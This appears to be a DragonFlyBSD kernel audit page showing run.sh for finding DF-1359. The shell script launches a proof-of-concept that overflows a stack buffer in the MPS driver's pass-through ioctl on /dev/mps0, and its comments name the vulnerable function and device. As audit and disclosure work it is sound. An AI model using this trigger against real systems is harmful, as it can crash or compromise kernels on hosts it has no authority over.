DragonFlyBSD Kernel Audit
DF-1359 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-1359 run - attempts to open /dev/mpsN and trigger MPTIOCTL_PASS_THRU.
# Same pattern as DF-1326 but for the MPS driver.  On real hardware with an
# LSI SAS2008-class HBA, opens /dev/mps0 (mode 0640 root:operator) and
# overflows the 12-byte MPI2_REQUEST_HEADER on mps_user_pass_thru's stack.
# On the audit guest: /dev/mps0 does NOT exist; structural harness proves
# the primitive.
cd "$(dirname "$0")"
echo "+ ./poc_mps_stackoverflow /dev/mps0   (live trigger; ENOENT on this guest)"
./poc_mps_stackoverflow /dev/mps0
echo "POC_RC=$?"
echo
echo "+ ./harness_overflow                   (structural primitive proof)"
./harness_overflow
echo "HARNESS_RC=$?"